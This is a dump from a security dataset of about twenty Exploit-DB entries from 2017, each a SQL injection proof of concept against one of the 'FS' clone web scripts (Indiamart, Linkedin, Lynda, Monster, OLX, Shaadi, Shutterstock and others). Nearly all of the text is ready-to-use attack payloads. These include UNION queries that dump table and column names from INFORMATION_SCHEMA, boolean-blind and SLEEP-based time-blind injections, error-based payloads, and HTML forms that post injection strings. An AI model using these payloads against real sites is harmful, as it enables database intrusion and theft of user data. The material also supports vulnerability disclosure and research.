deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43042
Description: FS Indiamart Clone - 'keywords' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-23
Author: 8bitsec

Exploit:
# Exploit Title: FS Indiamart Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/indiamart-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
The most favored web solution for webmasters aspiring to launch B2B Portals at minimum investment of time, money and effort.

Technical Details & Description:
================================

SQL injection on [keywords] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/search.php?keywords=product') UNION ALL SELECT NULL,CONCAT(0x716b787071,0x506961776c6f[PII_REDACTED]4b454e[PII_REDACTED][PII_REDACTED]7949566e434472706a72624a466a5468,0x[PII_REDACTED])-- LEhA&rctyp=Products

Parameter: keywords (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: keywords=product') UNION ALL SELECT NULL,CONCAT(0x716b787071,0x506961776c6f[PII_REDACTED]4b454e[PII_REDACTED][PII_REDACTED]7949566e434472706a72624a466a5468,0x[PII_REDACTED])-- LEhA&rctyp=Products
==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #43249
Description: FS Linkedin Clone 1.0 - 'grid' / 'fid' / 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: FS Linkedin Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/linkedin-clone/
# Demo: http://linkedin-clone.demonstration.co.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/group.php?grid=[SQL]
# 
# -1'++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR+1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6,7,8,9,10,11,12,13,14--+-
# 
# http://server/group.php?grid=-1'++UNION+ALL+SELECT+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR+1,4,0x30),0x3a20,table_name,0x3c62723e))))x),5,6,7,8,9,10,11,12,13,14--+-
# 
# 2)
# http://localhost/[PATH]/profile.php?fid=[SQL]
# 
# -44'++UNION(SELECT(1),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),(3),(4),(5),(6),(7),(8),(9),(10),(11))--+-
# 
# http://server/profile.php?fid=-44'++UNION(SELECT(1),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),(3),(4),(5),(6),(7),(8),(9),(10),(11))--+-
# 
# 3)
# http://localhost/[PATH]/company_details.php?id=[SQL]
# 
# -9491e369853df766fa44e1ed0ff613f563bd'++UNION+ALL+SELECT+1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),4,5,6,7--+-
# 
# http://server/company_details.php?id=-9491e369853df766fa44e1ed0ff613f563bd'++UNION+ALL+SELECT+1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),4,5,6,7--+-
# 
# # # # #
Exploit-DB #43043
Description: FS Lynda Clone - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-23
Author: 8bitsec

Exploit:
# Exploit Title: FS Lynda Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/lynda-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
It was never this easy to launch a video tutorial website similar to Lynda.

Technical Details & Description:
================================

SQL injection on [category] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/tutorial/

Parameter: category (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: category=5 AND 1845=1845&keywords=xxxxx

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #43335
Description: FS Lynda Clone 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-12-14
Author: Ihsan Sencan

Exploit:
<!--
# # # # # 
# Exploit Title: FS Lynda Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 13.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/lynda-clone/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-17643
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
-->
<html>
<body>
<form action="http://localhost/tutorial/" method="post">
<input value="1' and(select 1 FROM(select count(*),concat((select (select concat(database(),0x27,0x7e,0x494853414e2053454e43414e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -" name="keywords" id="keywords" type="search">
<input value="GO" type="submit">
</form>
</body>
</html>
Exploit-DB #43213
Description: FS Makemytrip Clone - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-06
Author: Dan°

Exploit:
# Exploit Title: FS Makemytrip Clone - SQL Injection
# Date: 2017-12-05
# Exploit Author: Dan°
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/makemytrip-clone/
# Version: 2017-12-05
# Tested on: Kali Linux 2.0

(PoC):
SQL Injection on GET parameter = id
http://localhost/pages.php?id=

---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2990=2990
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: id=1 OR SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: id=-4648 UNION ALL SELECT
NULL,NULL,CONCAT(0x716b767a71,0x47714f5a[PII_REDACTED]6a6a[PII_REDACTED]57634b[PII_REDACTED]44424f616944536d4d[PII_REDACTED]5854,0x[PII_REDACTED]),NULL--
YbYU
---
Exploit-DB #43246
Description: FS Makemytrip Clone 1.0 - 'fl_orig' / 'fl_dest' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: FS Makemytrip Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/makemytrip-clone/
# Demo: http://makemytrip-clone.demonstration.co.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/show-flight-result.php?&fl_orig=[SQL]
# 
# 27'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),(25),(26),(27),(28))--+-
# 
# http://server/show-flight-result.php?&fl_orig=27'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),(25),(26),(27),(28))--+-
# 
# 2)
# http://localhost/[PATH]/show-flight-result.php?fl_dest=[SQL]
# 
# 27'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),(25),(26),(27),(28))--+-
# 
# http://server/show-flight-result.php?fl_dest=27'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),(25),(26),(27),(28))--+-
# 
# # # # #
Exploit-DB #43049
Description: FS Monster Clone - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-24
Author: 8bitsec

Exploit:
# Exploit Title: FS Monster Clone - 'id' SQL Injection
# Date: 2017-10-24
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/monster-clone/
# Version: 24 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-24

Product & Service Introduction:
===============================
A highly sought after W3 compliant web solution standing out tall with a host of exciting features packed in. 

Technical Details & Description:
================================

SQL injection on [id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/Job_Details.php?id=6 AND 9364=9364

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=6 AND 9364=9364
    
==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #43245
Description: FS Monster Clone 1.0 - 'Employer_Details.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: FS Monster Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/monster-clone/
# Demo: http://monster-clone.demonstration.co.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/Employer_Details.php?id=[SQL]
# 
# -3'++UNION(SELECT(1),(2),(3),(4),(5),(6),(7),(8),(9),(10),(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR+1,4,0x30),0x3a20,table_name,0x3c62723e))))x),(12),(13),(14),(15),(16),(17),(18),(19),(20),(21),(22),(23),(24),(25),(26),(27),(28),(29),(30),(31),(32))--+-
# 
# 
# # # # #
Exploit-DB #43044
Description: FS OLX Clone - 'catg_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-23
Author: 8bitsec

Exploit:
# Exploit Title: FS OLX Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/olx-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
The best performing Classifieds software ever known.

Technical Details & Description:
================================

SQL injection on [catg_id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/search-result.php?searchbox=search&catg_id=5' AND 4453=4453 AND 'QlZa'='QlZa

Parameter: catg_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: searchbox=search&catg_id=5' AND 4453=4453 AND 'QlZa'='QlZa

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #43244
Description: FS Olx Clone 1.0 - 'scat' / 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: FS Olx Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/olx-clone/
# Demo: http://olx-clone.demonstration.co.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/subpage.php?scat=[SQL]
# 
# 51'++UNION+ALL+SELECT+1,2,3,4,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR+1,4,0x30),0x3a20,table_name,0x3c62723e))))x),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--+-
# 
# http://server/subpage.php?scat=51'++UNION+ALL+SELECT+1,2,3,4,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR+1,4,0x30),0x3a20,table_name,0x3c62723e))))x),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--+-
# 
# 2)
# http://localhost/[PATH]/message.php?pid=[SQL]
# 
# -1'++UNION+ALL+SELECT+1,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR+1,4,0x30),0x3a20,table_name,0x3c62723e))))x)--+-
# 
# view-source:http://server/message.php?pid=-1'++UNION+ALL+SELECT+1,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.TABLES)WHERE(TABLE_SCHEMA!=0x696e666f726d6174696f6e5f736368656d61)AND(0x00)IN(@x:=CONCAT(@x,LPAD(@NR:=@NR+1,4,0x30),0x3a20,table_name,0x3c62723e))))x)--+-
# 
# # # # #
Exploit-DB #43243
Description: FS Quibids Clone 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: FS Quibids Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/quibids-clone/
# Demo: http://quibids-clone.demonstration.co.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/itechd.php?productid=[SQL]
# 
# Parameter: productid (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: productid=609 AND 2165=2165
# 
# # # # #
Exploit-DB #43052
Description: FS Realtor Clone - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-24
Author: 8bitsec

Exploit:
# Exploit Title: FS Realtor Clone - 'id' SQL Injection
# Date: 2017-10-24
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/realtor-clone/
# Version: 24 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-24

Product & Service Introduction:
===============================
The realtor business anywhere is dependent essentially on the support provided by a robust digital platform offering diverse solutions at fingertips.

Technical Details & Description:
================================

SQL injection on [id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/property_detail.php?id=29 AND 4599=4599

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=29 AND 4599=4599

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=29 AND SLEEP(5)
    
==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #43215
Description: FS Shaadi Clone - 'token' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-06
Author: Dan°

Exploit:
# Exploit Title: FS Shaadi Clone - SQL Injection
# Date: 2017-12-05
# Exploit Author: Dan°
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/shaadi-clone/
# Version: 2017-12-05
# Tested on: Kali Linux 2.0

(PoC):
SQL Injection on GET parameter = token
http://localhost/view_profile.php?token=

---
Parameter: token (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: token=2060a87ff679a2f3e71d9181a67b7542122c' AND 9253=9253--
Eqjw

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: token=2060a87ff679a2f3e71d9181a67b7542122c' AND SLEEP(5)-- aVZf

Type: UNION query
Title: Generic UNION query (NULL) - 77 columns
Payload: token=-5886' UNION ALL SELECT
NULL,CONCAT(0x[PII_REDACTED],0x6153755a46504d6a546578714d765a594a5359556c414f4d736c[PII_REDACTED]6e[PII_REDACTED]526272,0x[PII_REDACTED]),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
nVKG
---
Exploit-DB #43046
Description: FS Shutter Stock Clone - 'keywords' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-24
Author: 8bitsec

Exploit:
# Exploit Title: FS Shutter Stock Clone - 'keywords' SQL Injection
# Date: 2017-10-24
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/shutterstock-clone/
# Version: 24 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-24

Product & Service Introduction:
===============================
This is a versatile script to help you to launch a stock photo like Shutterstock.

Technical Details & Description:
================================

SQL injection on [keywords] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/Category/

Parameter: keywords (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: keywords=SEARCH' AND (SELECT 2673 FROM(SELECT COUNT(*),CONCAT(0x716b706b71,(SELECT (ELT(2673=2673,1))),0x71767a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UqZI'='UqZI&category=3

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: keywords=SEARCH' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b706b71,0x[PII_REDACTED]714a75646f[PII_REDACTED][PII_REDACTED]524b6c[PII_REDACTED]6c[PII_REDACTED]4659764a6954,0x71767a6b71)-- HXrZ&category=3

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #43242
Description: FS Shutterstock Clone 1.0 - 'keywords' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
<!--
# # # # # 
# Exploit Title: FS Shutterstock Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/shutterstock-clone/
# Demo: http://shutterstock-clone.demonstration.co.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
-->
<html>
<body>
<form method="post" action="http://server/Category/">
<input name="keywords" id="keywords" value="1'and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e,0x494853414e2053454e43414e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='" type="text">
<button type="submit">Ver Ayari</button>
</form>
</body>
</html>
Exploit-DB #43241
Description: FS Stackoverflow Clone 1.0 - 'keywords' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
<!--
# # # # # 
# Exploit Title: FS Stackoverflow Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/stackoverflow-clone/
# Demo: http://stackoverflow-clone.demonstration.co.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
-->
<html>
<body>
<form method="post" action="http://server/question/">
<input id="keywords" name="keywords" value="1'and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e,0x494853414e2053454e43414e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND ''='" type="text">
<button type="submit" style="">Ver Ayari</button>
</form>
</body>
</html>
Exploit-DB #43047
Description: FS Thumbtack Clone - 'ser' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-24
Author: 8bitsec

Exploit:
# Exploit Title: FS Thumbtack Clone - 'ser' SQL Injection
# Date: 2017-10-24
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/thumbtack-clone/
# Version: 24 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-24

Product & Service Introduction:
===============================
Marketplace Script is a popular software solution helping you launch a marketplace website within minutes.

Technical Details & Description:
================================

SQL injection on [ser] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/service-provider.php?ser=9631

Parameter: ser (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ser=9631' AND 8601=8601 AND 'ZarH'='ZarH
    
==================
8bitsec - [https://twitter.com/_8bitsec]